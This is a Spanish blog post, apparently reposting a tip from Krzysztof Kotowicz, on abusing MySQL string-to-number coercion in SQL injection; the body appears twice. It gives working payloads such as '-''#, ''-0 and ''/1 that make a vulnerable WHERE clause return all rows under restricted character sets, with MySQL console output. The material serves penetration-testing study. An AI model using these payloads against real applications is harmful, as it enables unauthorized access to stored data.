Leyendo el blog de Koto (Krzysztof Kotowicz) encontré un pequeño truco que puede ayudarnos a explotar inyecciones SQL en bases de datos MySQL. Primero vamos a ver el comportamiento del RBDMS:
mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name | varchar(20) | YES | | NULL | |
| num | int(11) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
¿Qué es lo que ha pasado? Vamos a investigar un poco:
mysql> show warnings;
+---------+------+--------------------------------------------+
| Level | Code | Message |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)
El operador menos "-" utilizado en el string la convierte a DOUBLE, un valor numérico. ¿Cual es el resultado de esta sentencia?:
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
Para cada registro la columna 'name' es comparada a 0, lo cual provoca otro tipo de conversión y, con un warning, el valor de cada uno de ellos es efectivamente 0, lo cual satisface la condición WHERE (0 = ''-'').
Ahora, ¿cómo podemos abusar de esta peculiaridad? Imagina que tienes un juego de caracteres limitado (por ejemplo, sin espacios en blanco, sin signo de igualdad, sin paréntesis, sin letras) o la longitud disponible es muy limitada. La query vulnerable es SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... y necesita devolver al menos algún valor, pero no conoces ninguno en la columna secret (la cual no es fácilmente enumerable). Un payload tan simple como '-''# convertirá la query a:
SELECT secret FROM table WHERE fld=''-''# AND .....
y devolverá todos los registros (a parte de los que coincidan con /^-?[0-9]/).
Además puedes usar el mismo truco con ''+'', ''&'',''^'' y ''*''. Ten en cuenta:
mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)
mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)
Otro truco sería comparar simplemente una columna de cadena con ''-0:
mysql> select * from t where name=''-0;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
Todas estas sentencias SQL fueron probadas en MySQL 5.5 y 5.1, aunque debería funcionar en versiones anteriores también.
Y eso es todo amigos. Para más técnicas de inyección SQL te recomiendo la referencia de inyecciones SQL de Roberto Salgado. Me ayudó en numerosas ocasiones y es en mi opinión es una las mejores sobre SQLi que se han hecho nunca.
mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name | varchar(20) | YES | | NULL | |
| num | int(11) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
¿Qué es lo que ha pasado? Vamos a investigar un poco:
mysql> show warnings;
+---------+------+--------------------------------------------+
| Level | Code | Message |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)
El operador menos "-" utilizado en el string la convierte a DOUBLE, un valor numérico. ¿Cual es el resultado de esta sentencia?:
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
Para cada registro la columna 'name' es comparada a 0, lo cual provoca otro tipo de conversión y, con un warning, el valor de cada uno de ellos es efectivamente 0, lo cual satisface la condición WHERE (0 = ''-'').
Ahora, ¿cómo podemos abusar de esta peculiaridad? Imagina que tienes un juego de caracteres limitado (por ejemplo, sin espacios en blanco, sin signo de igualdad, sin paréntesis, sin letras) o la longitud disponible es muy limitada. La query vulnerable es SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... y necesita devolver al menos algún valor, pero no conoces ninguno en la columna secret (la cual no es fácilmente enumerable). Un payload tan simple como '-''# convertirá la query a:
SELECT secret FROM table WHERE fld=''-''# AND .....
y devolverá todos los registros (a parte de los que coincidan con /^-?[0-9]/).
Además puedes usar el mismo truco con ''+'', ''&'',''^'' y ''*''. Ten en cuenta:
mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)
mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)
Otro truco sería comparar simplemente una columna de cadena con ''-0:
mysql> select * from t where name=''-0;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
Todas estas sentencias SQL fueron probadas en MySQL 5.5 y 5.1, aunque debería funcionar en versiones anteriores también.
Y eso es todo amigos. Para más técnicas de inyección SQL te recomiendo la referencia de inyecciones SQL de Roberto Salgado. Me ayudó en numerosas ocasiones y es en mi opinión es una las mejores sobre SQLi que se han hecho nunca.
Aquí dejo otro enlace con una lista de SQLi de pentestmonkey
ResponderEliminar